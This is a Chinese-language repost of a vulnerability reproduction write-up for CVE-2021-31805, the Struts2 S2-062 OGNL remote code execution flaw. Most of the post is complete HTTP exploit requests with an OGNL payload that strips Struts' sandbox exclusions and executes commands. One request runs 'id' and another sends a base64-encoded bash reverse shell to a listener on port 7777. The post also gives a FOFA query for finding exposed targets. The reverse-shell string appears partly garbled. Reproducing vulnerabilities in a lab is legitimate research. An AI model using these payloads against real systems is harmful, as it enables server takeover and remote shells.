本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现 CVE-2021-31805 Struts2 S2-062远程代码执行漏洞
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用JavaServlet/JSP技术,实现了基于JavaEEWeb应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。远程代码执行S2-062(CVE-2021-31805)由于ApacheStruts2对S2-061(CVE-2020-17530)的修复不够完整,该漏洞是由于Struts2会对某些标签属性(比如id)的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}且其中x的值用户可控时,用户再传入一个%{payload}即可造成OGNL表达式执行。在CVE-2021-31805漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的OGNL表达式执行,导致远程代码执行。
0x03 漏洞复现
漏洞影响: Struts 2.0.0 – Struts 2.5.29
FOFA:Struts2
1.开启S2-061 vulhub环境
https://github.com/vulhub/vulhub/tree/master/struts2/s2-061
docker-compose up -d
2.构造payload,执行成功(执行命令:exec({‘id’}),Content-Type改为:multipart/form-data; boundary=—-WebKitFormBoundaryl7d1B1aGsV2wcZwF)
POST /index.action HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1191
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=\"id\"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get(\'struts.valueStack\')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get(\'map\').get(\'context\')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get(\'map2\').get(\'memberAccess\')) == true).toString().substring(0,0) +
(#request.get(\'map3\').put(\'excludedPackageNames\',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get(\'map3\').put(\'excludedClasses\',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get(\'org.apache.tomcat.InstanceManager\').newInstance(\'freemarker.template.utility.Execute\').exec({\'id\'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
3.反弹shell,构造base64解码反弹shell脚本,可以用如下网站
https://ir0ny.top/pentest/reverse-encoder-shell.html
4.nc监听7777端口,并反弹shell,得到一个shell
POST /index.action HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1191
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=\"id\"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get(\'struts.valueStack\')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get(\'map\').get(\'context\')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get(\'map2\').get(\'memberAccess\')) == true).toString().substring(0,0) +
(#request.get(\'map3\').put(\'excludedPackageNames\',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get(\'map3\').put(\'excludedClasses\',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get(\'org.apache.tomcat.InstanceManager\').newInstance(\'freemarker.template.utility.Execute\').exec({\'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4dwajdiowjMxLjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}\'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
暂无评论内容